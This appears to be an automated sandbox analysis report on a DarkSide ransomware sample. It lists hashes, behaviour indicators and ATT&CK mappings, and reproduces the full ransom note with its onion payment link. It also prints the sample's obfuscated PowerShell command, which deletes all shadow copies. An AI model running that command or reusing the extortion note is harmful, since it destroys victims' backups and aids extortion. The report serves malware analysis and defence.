darkside | 390cd3eb4070a67ece4e161609796ad2acaab76a6bf8d133a75d687bff0f17c4

General

Target

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 9 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\RemoveResolve.tiff	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File renamed	C:\Users\Admin\Pictures\OptimizeMerge.crw => C:\Users\Admin\Pictures\OptimizeMerge.crw.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File opened for modification	C:\Users\Admin\Pictures\OptimizeMerge.crw.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File renamed	C:\Users\Admin\Pictures\RemoveResolve.tiff => C:\Users\Admin\Pictures\RemoveResolve.tiff.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveResolve.tiff.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File renamed	C:\Users\Admin\Pictures\RenamePublish.png => C:\Users\Admin\Pictures\RenamePublish.png.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File opened for modification	C:\Users\Admin\Pictures\RenamePublish.png.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File renamed	C:\Users\Admin\Pictures\BackupDisconnect.raw => C:\Users\Admin\Pictures\BackupDisconnect.raw.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
File opened for modification	C:\Users\Admin\Pictures\BackupDisconnect.raw.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

Modifies registry class 5 IoCs

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

Opens file in notepad (likely ransom note) 1 IoCs
ransomware

Processes:

NOTEPAD.EXE

pid process

2980 NOTEPAD.EXE

pid	process
2980	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

pid	process
1780	powershell.exe
1780	powershell.exe
1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exepowershell.exevssvc.exeAUDIODG.EXE

description	pid	process
Token: SeIncreaseQuotaPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeSecurityPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeTakeOwnershipPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeLoadDriverPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeSystemProfilePrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeSystemtimePrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeProfSingleProcessPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeIncBasePriorityPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeCreatePagefilePrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeBackupPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeRestorePrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeShutdownPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeDebugPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeSystemEnvironmentPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeRemoteShutdownPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeUndockPrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeManageVolumePrivilege	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: 33	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: 34	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: 35	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
Token: SeDebugPrivilege	1780	powershell.exe
Token: SeBackupPrivilege	1356	vssvc.exe
Token: SeRestorePrivilege	1356	vssvc.exe
Token: SeAuditPrivilege	1356	vssvc.exe
Token: 33	2888	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2888	AUDIODG.EXE
Token: 33	2888	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2888	AUDIODG.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe

description	pid	process	target process
PID 1632 wrote to memory of 1780	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe	powershell.exe
PID 1632 wrote to memory of 1780	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe	powershell.exe
PID 1632 wrote to memory of 1780	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe	powershell.exe
PID 1632 wrote to memory of 1780	1632	4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe
"C:\Users\Admin\AppData\Local\Temp\4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2784

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4f4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2888

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\README.f2cbf9aa.TXT
1⤵
- Opens file in notepad (likely ransom note)
PID:2980

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
238fea5c71df9a020a0227caf3e81b33

SHA1
561f46997b585a5c55600ddcbec930e6737e65d3

SHA256
a887e4b942ccc20bf8663236c01adc48eb6ffd751b210c45c7f3298f0789c945

SHA512
ba6343eada93a81836960383f65f72e82b47e614ca8898278e55ad293fc8ecd422d443800678a568126e1896fb39d76d7bf3db32e31ee5e33178f3c254be581c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
5b282762f2082275c5539a9797d3f9ae

SHA1
5e0c4630c64e9775043911266590ffeb0f60b7b3

SHA256
4f9a922a5072dffba94ab734bec6217f6fd4de28d62c2e5a0503c67a05f8b7c9

SHA512
cd2391a02a37b8958b40a678677c7ecdc92c4849c7b9f1cc8ed421913e2b04d3188990cc6299aa5d48e3663555cd244383d22d3a14023c2481a6d68163bfd5d3

Download Submit
C:\Users\Admin\Desktop\README.f2cbf9aa.TXT
MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/1632-60-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/1780-67-0x0000000002794000-0x0000000002796000-memory.dmp

Filesize
8KB

Download
memory/1780-65-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/1780-64-0x000000001AC00000-0x000000001AC01000-memory.dmp

Filesize
4KB

Download
memory/1780-66-0x0000000002790000-0x0000000002792000-memory.dmp

Filesize
8KB

Download
memory/1780-68-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1780-69-0x000000001C450000-0x000000001C451000-memory.dmp

Filesize
4KB

Download
memory/1780-70-0x000000001C520000-0x000000001C521000-memory.dmp

Filesize
4KB

Download
memory/1780-63-0x00000000025A0000-0x00000000025A1000-memory.dmp

Filesize
4KB

Download
memory/1780-62-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

Filesize
8KB

Download
memory/1780-61-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads